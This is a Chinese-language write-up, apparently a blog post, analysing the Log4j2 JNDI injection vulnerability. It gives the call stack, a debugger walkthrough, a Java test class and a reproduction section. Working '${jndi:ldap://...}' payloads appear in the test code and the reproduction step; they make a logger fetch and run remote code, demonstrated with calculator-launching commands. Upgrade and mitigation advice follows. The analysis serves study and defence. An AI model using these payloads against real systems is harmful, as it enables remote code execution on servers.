原理
Apache log4j 2是一个就Java的日志记录工具。存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。
环境
jdk7u21
Apache Log4j 2.x <= 2.15.0-rc1
分析
调用栈
exec:483, Runtime (java.lang)
<init>:-1, Exploit10Q2cCwLFy
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:57, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:525, Constructor (java.lang.reflect)
newInstance0:374, Class (java.lang)
newInstance:327, Class (java.lang)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:188, DirectoryManager (javax.naming.spi)
c_lookup:1086, LdapCtx (com.sun.jndi.ldap)
p_lookup:544, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:411, InitialContext (javax.naming)
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:198, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1060, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:982, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:878, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:433, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:341, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:240, PatternLayout (org.apache.logging.log4j.core.layout)
encode:225, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:543, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:502, LoggerConfig (org.apache.logging.log4j.core.config)
log:485, LoggerConfig (org.apache.logging.log4j.core.config)
log:460, LoggerConfig (org.apache.logging.log4j.core.config)
log:82, AwaitCompletionReliabilityStrategy (org.apache.logging.log4j.core.config)
log:162, Logger (org.apache.logging.log4j.core)
tryLogMessage:2190, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2144, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2127, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2003, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1975, AbstractLogger (org.apache.logging.log4j.spi)
error:732, AbstractLogger (org.apache.logging.log4j.spi)
main:22, log4j2rce (log4j)
使用Logger.error()报错,写入payload并打下断点,开始debug
可以看到我们的payload存入了message中
也就是说,我们需要查看调用方法对于message的操作,error()
调用了logIfEnabled()
方法,跟进后可以看到进行了一个if判断,isEnabled()
是查看是否规则,判断为true,进入logMessage()
方法,调用logMessageSafely()
方法,跟进
跟进后发现调用logMessageTrackRecursion()
,跟进后,看到tryLogMessage()
对message进行了操作,跟进
看到是一个异常处理结构,调用Logger.log()
报错进行了处理,跟进查看,发现调用AwaitCompletionReliabilityStrategy.log()
方法对message进行处理,跟进
跟进后,看到调用LoggerConfig.log()
方法,跟进,这里mseeage变成了data并存入了event,这里就是将之前的报错存入event并调用重写的log()
方法,跟进可以看到调用processLogEvent()
方法对event进行处理,跟进
跟进后,看到调用callAppenders()
对event进行了处理,跟进,看到将信息存入一个数组,并对数组通过callAppender()
进行了处理,跟进该方法,发现调用callAppenderPreventRecursion()
进行了处理,继续跟进,可以看到调用claaAppender0()
方法进行处理,跟进,发现调用AppenderControl.tryCallAppender()
,跟进
跟进后看到调用tryAppend()
,继续跟进,调用AbstractOutputStreamAppender.directEncodeEvent()
方法,跟进,看到PatternLayout.encode()
对event进行了处理,跟进,调用toText()
处理,跟进后,看到对event进行了序列化处理,跟进toSerializable()
方法
进入到toSerializable()
方法,进入循环,调用PatternFormatter.format()
处理event的每一段信息,这里我在处理到i=8时,调用MessagePatternConverter.format()
这里是对$和{}进行处理,可以看到获取到长度之后,调用了StrSubstitutor.replace()
方法,跟进查看,发现处理后会调用substiute()
方法,并返回值,跟进
跟进后发现是一个很长的方法,大概的意思就是对刚才截取到的$和{}进行处理,而且这里是个递归处理,可以在方法体中看到对substiute()
做了第二次调用,这里调用的目的就是为了防止处理一次之后仍然存在$和{},然后持续步进直到处理完成,可以看到之前输入的payload已经没有了$和{}
处理完之后,payload在varName中,然后看到调用resolveVariable()
方法对varName进行处理,跟进,发现了lookup()
被调用并处理了event,跟进
可以看到Interpolator.lookup()
对去掉$和{}的event进行了处理,如图,先是识别前缀为jndi,然后获取上面的jndi,然后继续向下处理,来到value这里,查看值为false,所以是进入第二个lookup进行处理,跟进,看到了调用,然后就看到了JNDI注入点了,结束
其他支持的类
在走到resolveVariable()
时,我们可以看到getVaribleResolver()
方法,跟进后,在他的strLookupMap中可以看到支持的前缀
记录等级
看大佬讲解,像之前百度搜索引擎直接可以打到dnslog,显然并不是由于报错导致的,也能攻击成功,这里说明了非报错也被记录了,因此去看下原因。
在logIfEnabled()
处,跟进isEnabled()
方法,再跟进filter()
方法,看到有一个intLevel和level.intLavel的比较,此处我们使用什么类型的信息,intLevel就会是什么记录等级,而level.intLevel是我们设置的记录等级,因此要想触发一些类型的信息,可以修改记录等级,或者是log4j2.xml
import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.config.Configurator;
public class Test {
private static Logger logger = LogManager.getLogger(Test.class);
public static void main(String[] args) {
Configurator.setLevel("Test", Level.INFO);
logger.info("${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}");
}
}
log4j2.xml修改
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="warn" name="MyApp" packages="">
<appenders>
<console name="STDOUT" target="SYSTEM_OUT">
<PatternLayout>
<pattern>%d %p %c{1.} [%t] $${ctx:loginId} %m%n</pattern>
</PatternLayout>
</console>
</appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="STDOUT"/>
</Root>
</Loggers>
</Configuration>
复现
监听1389端口
payload:*LOGGER*.error("${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/Y2FsYw==}");
修复建议
- 升级 Apache Log4j2 所有相关应用到最新的 log4j-2.15.0-rc2 版本
- 升级 JDK 版本,建议 JDK 使用 11.0.1、8u191、7u201、6u211 及以上的高版本,从根源上杜绝大部分常规的 JNDI 注入
临时措施
- 在 jvm 参数中添加
Dlog4j2.formatMsgNoLookups=true
【针对 2.10.0 及以上的版本】 - 系统环境变量中将
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS
设置为true
【针对 2.10.0 及以上的版本】 - 创建
log4j2.component.properties
文件,文件中增加配置log4j2.formatMsgNoLookups=true
【针对 2.10.0 及以上的版本】 - 限制受影响应用对外访问互联网
评论 (0)